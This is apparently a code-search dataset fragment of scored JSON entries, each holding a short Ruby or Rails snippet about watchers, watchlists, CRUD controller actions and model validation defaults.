"score": "0.5976519",
"text": "def change_watchers\n @tag.taggable.watchers.each(&:destroy)\n @tag.taggable.watchers.create(user: @tag.taggable.user)\n @tag.taggable.watchers.create(user: @tag.taggee)\n end",
"title": ""
},
{
"docid": "557a329c880d3da1f68087d1b523d539",
"score": "0.5966295",
"text": "def create\n @watcher = Watcher.new(params[:watcher])\n\n respond_to do |format|\n if @watcher.save\n format.html { redirect_to @watcher, notice: 'Watcher was successfully created.' }\n format.json { render json: @watcher, status: :created, location: @watcher }\n else\n format.html { render action: \"new\" }\n format.json { render json: @watcher.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "21558233f4c38ae48c5f1be8fb23b1f4",
"score": "0.59536064",
"text": "def create\n @my_watch = MyWatch.new(params[:my_watch])\n\n respond_to do |format|\n if @my_watch.save\n format.html { redirect_to @my_watch, notice: 'My watch was successfully created.' }\n format.json { render json: @my_watch, status: :created, location: @my_watch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @my_watch.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4b8d81aefdf4c1f684d0ca31750e8a12",
"score": "0.5939939",
"text": "def create\n @watcher = Watcher.new(watcher_params)\n\n respond_to do |format|\n if @watcher.save\n format.html { redirect_to @watcher, notice: 'Watcher was successfully created.' }\n format.json { render :show, status: :created, location: @watcher }\n else\n format.html { render :new }\n format.json { render json: @watcher.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b82c8247e2b92bb33a7ff1c92b848472",
"score": "0.59368426",
"text": "def watch_params\n params.require(:watch).permit(:user_id, :movie_id, :rating, :comment)\n end",
"title": ""
},
{
"docid": "32bd3bdd5f19718ec3f78e407a4c68cd",
"score": "0.5928154",
"text": "def update\n respond_to do |format|\n if @release_watch.update(release_watch_params)\n format.html { redirect_to @release_watch, notice: 'Release watch was successfully updated.' }\n format.json { render :show, status: :ok, location: @release_watch }\n else\n format.html { render :edit }\n format.json { render json: @release_watch.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d86f4aca721e3a5d3a21385d09ffb15a",
"score": "0.59124744",
"text": "def watcher_params\n params.require(:watcher).permit(:name, :url, :timer)\n end",
"title": ""
},
{
"docid": "9ccb31b8975135dc1360783da0747722",
"score": "0.5908253",
"text": "def watching\n Birdman::Requester.get(\"shows/#{id}/watching\")\n end",
"title": ""
},
{
"docid": "4374e089ffed0b0f0701d897c8a26c25",
"score": "0.58990663",
"text": "def update\n authorize @watchlist\n authorize @watchitem\n respond_to do |format|\n if @watch_item.update(watch_item_params)\n format.html { redirect_to @watch_item, notice: 'Watch item was successfully updated.' }\n format.json { render :show, status: :ok, location: @watch_item }\n else\n format.html { render :edit }\n format.json { render json: @watch_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ad15c48b5e42559213c2ce849eff91f2",
"score": "0.5890411",
"text": "def watch(*watches)\n watches.each do |watch|\n prefixed_watch = watch.dup\n prefixed_watch.name = watch_name(watch)\n\n if watch_needs_update?(prefixed_watch)\n put_watch_as_alarm(prefixed_watch)\n end\n end\n end",
"title": ""
},
{
"docid": "face9ffec3047dee1e397d0fa979f59c",
"score": "0.58825177",
"text": "def set_watch_item\n @watch_item = WatchItem.find(params[:id])\n end",
"title": ""
},
{
"docid": "92a031f67edb17972258d0c071ef3982",
"score": "0.5876969",
"text": "def watch(*names)\n names.each do |t|\n transmit \"watch #{t}\"\n client.connection.add_to_watched(t)\n end\n rescue BadFormatError => ex\n raise InvalidTubeName, \"Tube in '#{ex.cmd}' is invalid!\"\n end",
"title": ""
},
{
"docid": "b228ac476308c82e3266a5f69363ffa6",
"score": "0.5835557",
"text": "def destroy\n @watcher = Watcher.find(params[:id])\n @watcher.destroy\n\n respond_to do |format|\n format.html { redirect_to watchers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b2bb2be54f61ad392f88134d2d6da9d2",
"score": "0.57866573",
"text": "def watch\n @soons = Soon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @soons }\n end\n end",
"title": ""
},
{
"docid": "b10bff96938e0d266187ac7bc2959d1b",
"score": "0.57864165",
"text": "def index\n @watchers = Watcher.all\n end",
"title": ""
},
{
"docid": "3476b947e64f747ef1928a19d0871c6f",
"score": "0.57855284",
"text": "def set_watch_service\n @watch_service = WatchService.find(params[:id])\n end",
"title": ""
},
{
"docid": "5a253cd042c59b135faed7a4f8775352",
"score": "0.57820284",
"text": "def set_watched\n video = Video.find(params[:id])\n video.watched = true\n video.save\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video set to \"watched\".' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "648cd010fdaa85328710a3148124cdd8",
"score": "0.57757676",
"text": "def watching\n Birdman::Requester.get(\"shows/#{id}/seasons/#{season}/episodes/#{episode}/watching\")\n end",
"title": ""
},
{
"docid": "f8d07fafac0d0ad8a7e8ef61683439f7",
"score": "0.57708764",
"text": "def destroy\n @watcher = Watcher.find(params[:id])\n @watcher.destroy\n\n respond_to do |format|\n format.html { redirect_to watchers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f8d07fafac0d0ad8a7e8ef61683439f7",
"score": "0.57708764",
"text": "def destroy\n @watcher = Watcher.find(params[:id])\n @watcher.destroy\n\n respond_to do |format|\n format.html { redirect_to watchers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2130742684151c622090ec8377a24b3a",
"score": "0.5749912",
"text": "def show\n @watcher = Watcher.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @watcher }\n end\n end",
"title": ""
},
{
"docid": "2130742684151c622090ec8377a24b3a",
"score": "0.5749912",
"text": "def show\n @watcher = Watcher.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @watcher }\n end\n end",
"title": ""
},
{
"docid": "2130742684151c622090ec8377a24b3a",
"score": "0.5749912",
"text": "def show\n @watcher = Watcher.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @watcher }\n end\n end",
"title": ""
},
{
"docid": "f4e3a6d424c825217efbb91d063548e6",
"score": "0.57403713",
"text": "def update\n @watched_model = WatchedModel.find(params[:id])\n\n respond_to do |format|\n if @watched_model.update_attributes(params[:watched_model])\n format.html { redirect_to @watched_model, notice: 'Watched model was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @watched_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26f21c7d38b2d4d9cffd83f9854372d8",
"score": "0.5720008",
"text": "def update\n beer = Beer.find(params[:id])\n beer.update(beer_params)\n render json: beer\n end",
"title": ""
},
{
"docid": "047cdc4ca216bcf7a5fa33805d1b5275",
"score": "0.5712068",
"text": "def watch\n @watching = Watching.find_by_user_id_and_channel_id(current_user.id, params[:id])\n\n # add watching\n if params[:flag] == 'true'\n @watching = Watching.new(:user_id => current_user.id, :channel_id => params[:id]) if @watching.nil?\n @watching.save\n # delete watching\n else\n @watching.delete if !@watching.nil?\n end\n\n render :text => '1'\n end",
"title": ""
},
{
"docid": "d881c837ee688943654740cf6d2576c7",
"score": "0.5707032",
"text": "def watchers; end",
"title": ""
},
{
"docid": "b713b058645ee6198baaef1dba193f00",
"score": "0.570604",
"text": "def create_old\n @watcher = Watcher.new(params[:watcher])\n\n respond_to do |format|\n if @watcher.save\n format.html { redirect_to @watcher, notice: 'Watcher was successfully created.' }\n format.json { render json: @watcher, status: :created, location: @watcher }\n else\n format.html { render action: \"new\" }\n format.json { render json: @watcher.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "effe9b8ace7e49672077634837f70886",
"score": "0.57050973",
"text": "def enqueue_watchers_update\n $redis.zadd(Entry::enqueue_key, self.updated_at.to_i, self.id)\n end",
"title": ""
},
{
"docid": "e1b4797e9d42258304aa9e419b8a4248",
"score": "0.5704369",
"text": "def update_watchers\n # logger.debug \"e #{self.id}/#{self.author.id} u#{self.watcher_ids.inspect} n#{User::neighborhood_queue_key(self.author.id)}\"\n\n # enqueue for all watchers ...\n $redis.multi do\n # push this to every watcher personally\n\n self.watcher_ids.each do |user_id|\n $redis.zadd(User::personal_queue_key(user_id), self.updated_at.to_i, self.id)\n end\n\n # push this as a key to all neighbors sharing same h00d\n # BUT update this entry only if marked as mainpageable - all non public entries pop up only\n $redis.zadd(User::neighborhood_queue_key(self.author.id), self.updated_at.to_i, self.id) if self.is_mainpageable?\n end\n end",
"title": ""
},
{
"docid": "2701deba7bce4965d5769e47c1b82985",
"score": "0.5698704",
"text": "def cheater\n puts(\"YOU HAVE TRIED TO CHEAT ME!\")\n RESTful.put(\"#{URL_MICROSERVICE_PLAYER}/cheater\", {'id' => @idPlayer}.to_json, 'application/json')\n sleep(2)\n end",
"title": ""
},
{
"docid": "91fc40c634492c23e693c4b5721c8247",
"score": "0.56859857",
"text": "def create\n @prayer_watch = PrayerWatch.new(params[:prayer_watch])\n\n respond_to do |format|\n if @prayer_watch.save\n format.html { redirect_to @prayer_watch, notice: 'Prayer watch was successfully created.' }\n format.json { render json: @prayer_watch, status: :created, location: @prayer_watch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prayer_watch.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6fe886c84166b30e2b4257e24af9aa90",
"score": "0.5682116",
"text": "def update\n id = SecureRandom.uuid.to_s\n\n watchlist_info = {:id => id, type => \"update\",\n :watchlist_id => params[:id],\n :watchlist_name => params[:watchlist_name]\n }\n\n publish :watchlist, JSON.generate(watchlist_info)\n\n status, @error = get_success(id)\n\n if status \n @status = \"Watchlist updated!\"\n else\n @status = \"Watchlist could not be updated\"\n end \n\n render 'confirm' \n # respond_to do |format|\n # if @watchlist.update(watchlist_params)\n # format.html { redirect_to @watchlist, notice: 'Watchlist was successfully updated.' }\n # format.json { render :show, status: :ok, location: @watchlist }\n # else\n # format.html { render :edit }\n # format.json { render json: @watchlist.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"title": ""
},
{
"docid": "a7140c4c8fc42545a35fb7e0bb5525b1",
"score": "0.5672474",
"text": "def watch\n\t\t@device = Device.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "ce4cfd5fddcb09c0deb7c078f9ad9fb4",
"score": "0.565082",
"text": "def update\n respond_to do |format|\n if @stopwatch.update(stopwatch_params)\n format.html { redirect_to @stopwatch, notice: 'Stopwatch was successfully updated.' }\n format.json { render :show, status: :ok, location: @stopwatch }\n else\n format.html { render :edit }\n format.json { render json: @stopwatch.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e05abce3b8eb6cee6f21f8fa348c911d",
"score": "0.56476927",
"text": "def watching_params\n params.require(:watching).permit(:url)\n end",
"title": ""
},
{
"docid": "6471ce6ccbb229c14da9fa30105dd041",
"score": "0.5635775",
"text": "def watch\n @watch\n end",
"title": ""
},
{
"docid": "ff32d7230b478da63f0a7d18e531a2ef",
"score": "0.5626217",
"text": "def update_config(watchers)\n end",
"title": ""
},
{
"docid": "4c3017bd164b36527bcfb748238f7069",
"score": "0.5618583",
"text": "def destroy\n @prayer_watch = PrayerWatch.find(params[:id])\n @prayer_watch.destroy\n\n respond_to do |format|\n format.html { redirect_to prayer_watches_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0de79483518df69c61408c197bba767b",
"score": "0.560801",
"text": "def set_release_watch\n @release_watch = ReleaseWatch.find(params[:id])\n end",
"title": ""
},
{
"docid": "c0d663d1636ca43450d6d155f6d8cc2d",
"score": "0.5592815",
"text": "def update\n respond_to do |format|\n if @watchlist.update(watchlist_params)\n format.html { redirect_to @watchlist, notice: 'Watchlist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @watchlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af6119d84ecfe2a4e149777e1fe8b320",
"score": "0.55834764",
"text": "def destroy\n @my_watch = MyWatch.find(params[:id])\n @my_watch.destroy\n\n respond_to do |format|\n format.html { redirect_to my_watches_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fa25f2c2f79b9755e8d41e98fb02aa1a",
"score": "0.55818003",
"text": "def watch(*names)\n names.each do |t|\n transmit_to_all \"watch #{t}\"\n end\n rescue BadFormatError => ex\n raise InvalidTubeName, \"Tube in '#{ex.cmd}' is invalid!\"\n end",
"title": ""
},
{
"docid": "a7b25192e48be878b616001a9c273170",
"score": "0.5575029",
"text": "def update_watch(watch, time, status, status_reason)\n watch.status_id = status\n watch.last_status_change_at = Time.zone.now.to_s(:db) if watch.changed? # only updates the last status change\n watch.last_response_time = time\n watch.status_reason = status_reason\n return watch.save\n end",
"title": ""
},
{
"docid": "5f041435cad196554adf632144ecbdc3",
"score": "0.55334496",
"text": "def update params = {}, body = {}\n @connection.request(method: :post, path: build_path(\"/swarm/update\", params), headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end",
"title": ""
},
{
"docid": "6eb8881e4b7a2d1c9ebc0ecc0c5437af",
"score": "0.55320907",
"text": "def watcher_params\n params.require(:watcher).permit(:user_id, :issue_id)\n end",
"title": ""
},
{
"docid": "099e2cbda1105c8d653d9c6ef666f0dc",
"score": "0.5525287",
"text": "def watch\n @item= Item.find(params[:id])\n Watch.create(user_id: current_user.id, item_id: @item.id)\n #current_user.watched_items << @item\n redirect_to @item, :notice => \"Item Added to Watch List\"\n end",
"title": ""
},
{
"docid": "ad15805134f36896073e3d8489ca4918",
"score": "0.55185217",
"text": "def set_watchlist\n\t @watchlist = Watchlist.find(params[:id])\n\t end",
"title": ""
},
{
"docid": "bd4eb8581142f32f82a9012ff08f1ec8",
"score": "0.5497053",
"text": "def show\n @my_watch = MyWatch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_watch }\n end\n end",
"title": ""
},
{
"docid": "a76978a4c9f185b04224c10162cd845e",
"score": "0.549489",
"text": "def watching\n @watching ||= ApiFactory.new 'Repos::Watching'\n end",
"title": ""
},
{
"docid": "26c14138a151d8792bccf23933f85caa",
"score": "0.5470889",
"text": "def watch_list_params\n params.require(:watch_list).permit(:user_id_id, :contest_id_id)\n end",
"title": ""
},
{
"docid": "515f859a87c0ace8b4faf55f70c6a503",
"score": "0.5463715",
"text": "def set_watchlater\n\t @watchlater = Watchlater.find(params[:id])\n\t end",
"title": ""
},
{
"docid": "27ddab45f0f62314b58887efda96c548",
"score": "0.5463305",
"text": "def update\n @toucher = Toucher.find(params[:id])\n\n respond_to do |format|\n if @toucher.update_attributes(params[:toucher])\n format.html { redirect_to @toucher, notice: 'Toucher was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @toucher.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e0bb75740aedf5aee50fc090974c687",
"score": "0.54617757",
"text": "def update_watched(db, watched, id)\n\tdb.execute(\"UPDATE movie SET watched=? WHERE id=?\", [watched, id])\nend",
"title": ""
},
{
"docid": "069831cd5bd4ebb15f43ac137e36825a",
"score": "0.5458696",
"text": "def watching\n @watching ||= ApiFactory.new 'Activity::Watching'\n end",
"title": ""
},
{
"docid": "1a8f94f54937dfcf8ebb148b7dbdbf94",
"score": "0.5455241",
"text": "def watch\n @watcher.unsubscribe if defined? @watcher\n @watcher = @zk.register(@discovery['path'], &watcher_callback)\n end",
"title": ""
},
{
"docid": "abdf826b152715a5031b73b794f60c48",
"score": "0.54513544",
"text": "def set_watcheditem\n @watcheditem = Watcheditem.find(params[:id])\n end",
"title": ""
},
{
"docid": "bb7f550cada024aa7de14e0030ec3d76",
"score": "0.5427371",
"text": "def create\n if @issue.watchers.exists?(current_user.id)\n @issue.watchers.delete(current_user)\n message = 'Issue unwatched'\n else\n @issue.watchers << current_user\n message = 'Issue watched'\n end\n respond_to do |format|\n format.html { redirect_to \"/issues/#{ @issue.id }\" }\n format.json { render json: { message: message }, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "cb6a44f572ed0cdb6e263ab7ffb8b884",
"score": "0.5421651",
"text": "def development_watchers=(watchers)\n @development_watchers = watchers\n end",
"title": ""
},
{
"docid": "cb51ec78da0453254f835e7edf96d027",
"score": "0.54174066",
"text": "def update\n @server = compute.get_server(params[:id]).update(:name=>params[:name])\n respond_to do |format|\n format.html { redirect_to servers_path, :notice => 'Server was successfully updated.' }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "88f6a385dfd0d320f4ad277998a056cf",
"score": "0.54159963",
"text": "def add_to_watch_list(params = {})\n commit(EbayTrading::Requests::AddToWatchList, params)\n end",
"title": ""
},
{
"docid": "be8bb21a5b13a3071f78de4a3aeead9f",
"score": "0.541222",
"text": "def create\n #@watch_list = WatchList.new(params[:watch_list])\n #@watch_list.save\n #respond_with(@watch_list)\n end",
"title": ""
},
{
"docid": "bd61edd3bbe96d5a3126ed75df8cdd62",
"score": "0.53964907",
"text": "def update\n respond_to do |format|\n if @watchdog.update(watchdog_params)\n format.html { redirect_to @watchdog, notice: 'Watchdog was successfully updated.' }\n format.json { render :show, status: :ok, location: @watchdog }\n else\n format.html { render :edit }\n format.json { render json: @watchdog.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3c821609de342fc7227507da5e54460b",
"score": "0.5377258",
"text": "def register_watch( method, time, path, referer, user_agent, quality_info = nil )\n parsed_path = parse_path( method, path )\n case method\n when :watch\n if parsed_path\n if parsed_path.key?('v')\n permanent_id = parsed_path['v']\n elsif parsed_path.key?('vidoe_id')\n permanent_id = parsed_path['video_id']\n else\n permanent_id = nil\n end\n temporary_id = nil\n feed_label = categorize_watch_feed( parsed_path )\n application = nil\n else\n return\n end\n when :redirector, :content\n if temporary_id = parsed_path['id']\n permanent_id = nil\n if /gdata/ =~ parsed_path['app']\n feed_label = parsed_path['el']\n feed_label_source = feed_label ? :redirector : nil\n else\n feed_label = nil\n feed_label_source = nil\n end\n application = parsed_path['devKey']\n else\n return\n end\n when :embedded\n if permanent_id = parsed_path['docid']\n temporary_id = nil\n feed_label = parsed_path['el']\n feed_label_source = feed_label ? :embedded : nil\n application = parsed_path['devKey']\n else\n return\n end\n end\n @watches << {\n :time => time,\n :temporary_id => temporary_id,\n :permanent_id => permanent_id,\n :feed_label => feed_label,\n :feed_label_source => feed_label_source,\n :referer => categorize_referer( referer ),\n :referer_collapse => categorize_referer( referer, true ),\n :application => application,\n :watch_method => method,\n :os => categorize_os( user_agent ), \n :display_class => categorize_display_class( user_agent ),\n :quality_info => quality_info\n }\n end",
"title": ""
},
{
"docid": "113255ebbb9832c852d108f6277c42fc",
"score": "0.53716767",
"text": "def set_watchlist_entry\n @watchlist_entry = WatchlistEntry.find(params[:id])\n end",
"title": ""
},
{
"docid": "98cfb523e5cdf652b36f3a4f4dc3de80",
"score": "0.53577375",
"text": "def update\n respond_to do |format|\n if @waiter.update(waiter_params)\n format.html { redirect_to @waiter, notice: 'Waiter was successfully updated.' }\n format.json { render :show, status: :ok, location: @waiter }\n else\n format.html { render :edit }\n format.json { render json: @waiter.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "118128f750725efc0fbd9338111136f1",
"score": "0.5340439",
"text": "def save\n return if @monitor_hash.nil?\n put_rest \"monitors/#{@name}\", @monitor_hash, :content_type => \"application/json\"\n end",
"title": ""
},
{
"docid": "d594346548ac5e82abcb6a9c35a9f450",
"score": "0.53395975",
"text": "def destroy\n @watcher.destroy\n respond_to do |format|\n format.html { redirect_to watchers_url, notice: 'Watcher was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e444aadf21258c5fb542f4313e7deeb5",
"score": "0.5321861",
"text": "def update\n @sermon = Sermon.find(params[:id])\n\n respond_to do |format|\n if @sermon.update_attributes(params[:sermon])\n format.html { redirect_to sermons_path, notice: 'Sermon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sermon.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "555b6bd116d1f3a4d47cec062f720056",
"score": "0.5319958",
"text": "def update\n render json: Team.update(params[\"id\"], params[\"team\"])\n end",
"title": ""
},
{
"docid": "7a29ffbbb9fd1fb0e10c0f1e6967be7f",
"score": "0.53146344",
"text": "def set_watched_video\n @watched_video = WatchedVideo.find(params[:id])\n end",
"title": ""
},
{
"docid": "e432bf71819d1ef73b543ccf31628a48",
"score": "0.53138846",
"text": "def update\n respond_to do |format|\n if @monkey.update(monkey_params)\n # format.html { redirect_to @monkey, notice: 'Api monkey was successfully updated.' }\n format.json { render :show, status: :ok, location: @monkey }\n else\n # format.html { render :edit }\n format.json { render json: @monkey.errors, status: :unprocessable_entity }\n end\n \n end\n \n # DELETE /monkeys/1\n # DELETE /monkeys/1.json\n def destroy\n @monkey.destroy\n respond_to do |format|\n format.html { redirect_to monkeys_url, notice: 'Account successfully deleted.' }\n format.json { head :no_content }\n end\n end\n \n private\n # Use callbacks to share common setup or constraints between actions.\n def set_monkey\n @monkey = Monkey.find(params[:id])\n end\n \n # Never trust parameters from the scary internet, only allow the white list through.\n def monkey_params\n params.permit(:name, :type, :size, :socialOrder, :image, :species)\n end\n end",
"title": ""
},
{
"docid": "846c251f0a12268b2363cfba282d42de",
"score": "0.53130746",
"text": "def update\n respond_to do |format|\n if @watcheditem.update(watcheditem_params)\n format.html { redirect_to @watcheditem, notice: 'Watcheditem was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @watcheditem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8e546159142602b930e1560e07e999c3",
"score": "0.5307947",
"text": "def new\n @my_watch = MyWatch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_watch }\n end\n end",
"title": ""
},
{
"docid": "c04a65add083228badb0ee9bb6c4e4bf",
"score": "0.53077734",
"text": "def create \n Watchlist.create(params[:list_item])\n\n render json: watchlist\n end",
"title": ""
},
{
"docid": "6cbbddc73e7fbb152fae713f712777b3",
"score": "0.5305048",
"text": "def update\n update_resource(@tomato)\n end",
"title": ""
},
{
"docid": "d3af103b628271d0d461475369c5ea90",
"score": "0.53000325",
"text": "def update\n @webinar = Webinar.find(params[:id])\n\n respond_to do |format|\n if @webinar.update_attributes(params[:webinar])\n format.html { redirect_to @webinar, :notice => 'Webinar was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @webinar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "89646f627ef993c3024936f29f391dd0",
"score": "0.5299382",
"text": "def set_watchlist\n user = User.find(params[:user_id])\n if user \n @watchlist = Watchlist.find_by(user_id: user.id)\n else \n @watchlist = Watchlist.find(params[:id])\n end\n\n end",
"title": ""
},
{
"docid": "d2c59567beb56a11af570dc37a1eaade",
"score": "0.52988636",
"text": "def watchlistupdate(name,username)\n\n\n\n moviename = Movie.find_by(title: name)\n user = User.find_by(name: username)\n movieid = moviename.id\n userid = user.id\n # Movie.all.each do |title|\n\n #if title.title == name\n #movieid = title.id\n\n puts \"THE MOVIE ID IS #{movieid}\"\n puts \"THE USER ID IS #{userid}\"\n puts \"THE MOVIES NAME IS #{moviename.title}\"\n puts \"THE USER NAME IS #{user.name}\"\n watch = Watchlist.new(user_id: userid, movie_id: movieid, rating: 0.0, review: \"\", watched: false )\n watch.save\nend",
"title": ""
},
{
"docid": "b4d70c6bf0d58caa1907ba67d7c6c220",
"score": "0.52932507",
"text": "def update\n respond_to do |format|\n if @sermon.update(sermon_params)\n format.html { redirect_to @sermon, notice: 'Sermon was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sermon.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f296842da8536076626c31a001ed0b68",
"score": "0.52918106",
"text": "def create\n @watching = Watching.find_or_create_by!(watching_params)\n\n respond_to do |format|\n if @current_user.watchings << @watching\n format.html do\n redirect_to watchings_path(username: @current_user.username),\n notice: 'Watching was successfully created.'\n end\n format.json { render :show, status: :created, location: @watching }\n else\n format.html { render :new }\n format.json { render json: @watching.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
08254498ca000fd1e5298508a63bcf0f
|
Get the default validation setting for the association. Determines if by default a validates associated will occur.
|
[
{
"docid": "066a654cf8e03724a2944cef8ae6109e",
"score": "0.64848906",
"text": "def validation_default; true; end",
"title": ""
}
] |
[
{
"docid": "88e3d5853a8120bc0e8b85cd7290a72c",
"score": "0.6138287",
"text": "def validation_default; false; end",
"title": ""
},
{
"docid": "e45461b7555c4d9593cd9edd79e313e1",
"score": "0.5850886",
"text": "def is_default?\n @rule_details.is_default == true\n end",
"title": ""
},
{
"docid": "6276586383574dc3f96dec9b95f70326",
"score": "0.57421833",
"text": "def valid_for_default?\n valid?(:default)\n end",
"title": ""
},
{
"docid": "800460a514c005a527bde6ba84420bce",
"score": "0.56649536",
"text": "def validate?\n @validate ||= if @options[:validate].nil?\n validation_default\n else\n !!@options[:validate]\n end\n end",
"title": ""
},
{
"docid": "6c1c17e6760084fdbfc6117892be6cdf",
"score": "0.5600293",
"text": "def default\n defaults = {}\n @rules.each {|rule| rule.complete_defaults(defaults)}\n defaults\n end",
"title": ""
},
{
"docid": "0a94c7be36d223d1efd84c6e93c7d34e",
"score": "0.54078317",
"text": "def validation_type_overrides\n options[validation_type] || {}\n end",
"title": ""
},
{
"docid": "ed17516347239ecfb03866258066fe86",
"score": "0.536099",
"text": "def default_validators\n []\n end",
"title": ""
},
{
"docid": "ad248c38b8a83ab5a2b7fc3ddfe59db2",
"score": "0.5351824",
"text": "def init_validation\n @user = Valid.get_association(self, :user_id)\n @mailing_list_group = Valid.get_association self, :id\n end",
"title": ""
},
{
"docid": "8c42039bc12637f37407ee04ad5a250b",
"score": "0.5336235",
"text": "def validation\n # Rails.logger.debug \"#{self.class}.#{__method__} Default validator is empty\"\n end",
"title": ""
},
{
"docid": "030123a2a023916b6c0f27e6f2d9915b",
"score": "0.53344625",
"text": "def validations_for(key)\n ensure_config_loaded!\n if setting = config[key.to_s]\n setting['validations'] || {}\n else\n {}\n end\n end",
"title": ""
},
{
"docid": "fe6bb5405fd68dbdedd9c04760da947e",
"score": "0.5330405",
"text": "def has_default?\n options.key?(:default) || name_property?\n end",
"title": ""
},
{
"docid": "5ad16542c3d6f78c709b345f02c177d5",
"score": "0.52556384",
"text": "def is_default\n return @is_default\n end",
"title": ""
},
{
"docid": "5ad16542c3d6f78c709b345f02c177d5",
"score": "0.52556384",
"text": "def is_default\n return @is_default\n end",
"title": ""
},
{
"docid": "5cfc60d8c03a7fda927fe944b3ec306b",
"score": "0.5244482",
"text": "def validate?\n !options[:validate].nil? ? options[:validate] : (options[:autosave] == true || collection?)\n end",
"title": ""
},
{
"docid": "375950b6de53433b7d1ec1def3214c63",
"score": "0.5243603",
"text": "def validator\n validators.fetch(options[current_option_key])\n end",
"title": ""
},
{
"docid": "d7297855f16c77fbd47f6058f596af7e",
"score": "0.52394885",
"text": "def validate_single_association(reflection)\n association = association_instance_get(reflection.name)\n record = association && association.reader\n association_valid?(reflection, record) if record && (record.changed_for_autosave? || custom_validation_context?)\n end",
"title": ""
},
{
"docid": "4297189f5acf109c0cc442a6938dacc7",
"score": "0.5238396",
"text": "def init_validation\n @notification = Valid.get_association self, :id\n @user = Valid.get_association self, :user_id\n end",
"title": ""
},
{
"docid": "0bbc59c3bdeeeadcde5ac3cb1238d2f0",
"score": "0.5235354",
"text": "def required\n select { |_name, setting| setting.default.nil? }\n end",
"title": ""
},
{
"docid": "2bbeebb2fe49c5d95d48baa49f38957e",
"score": "0.5201896",
"text": "def default_X__PROPERTY_BOOL__X\n config_get_default('X__RESOURCE_NAME__X', 'X__PROPERTY_BOOL__X')\n end",
"title": ""
},
{
"docid": "6589a911f81cc33ec5eeeb825a19c592",
"score": "0.51928586",
"text": "def configured_default\n @options[:default] || default_entry\n end",
"title": ""
},
{
"docid": "c358b881402f782cfe25c463556b2e25",
"score": "0.51870143",
"text": "def enforced_settings\n return @enforced_settings\n end",
"title": ""
},
{
"docid": "42ee1b5d4337b9d6e56bb5a6031acc6e",
"score": "0.517654",
"text": "def default?\n @options.key?(:default)\n end",
"title": ""
},
{
"docid": "5c6fa8c5c815f8560bd175b93cdcd632",
"score": "0.5166415",
"text": "def default\n #----------\n \n # the default field value; retrieve from the options\n default = options[ :default ]\n \n # is there are default value?\n unless default.nil?\n self.value_from( default.respond_to?( :call ) ? default.call : default )\n end\n \n end",
"title": ""
},
{
"docid": "13bcf09defcea9535efb9eb4d2826e70",
"score": "0.5159015",
"text": "def default_rule; end",
"title": ""
},
{
"docid": "f3d5d8bcdce7f506963e0d51fb61ff0b",
"score": "0.51556075",
"text": "def init_validation\n @group = Valid.get_association(self, :group_id, MailingListGroup)\n @mailing_list_address = Valid.get_association self, :id\n end",
"title": ""
},
{
"docid": "6b4b33e4123abbe8a8a868ae2d0fcd7f",
"score": "0.5148091",
"text": "def default?\n @default\n end",
"title": ""
},
{
"docid": "b9f1b0730229d0b355a31ef1333359c9",
"score": "0.5120057",
"text": "def required_by_default?\n false\n end",
"title": ""
},
{
"docid": "bbb3591e0767887051c14c1ddc35188e",
"score": "0.5111631",
"text": "def association\n :default\n end",
"title": ""
},
{
"docid": "d23e1dab2904e50e26b9c28d4e447b7b",
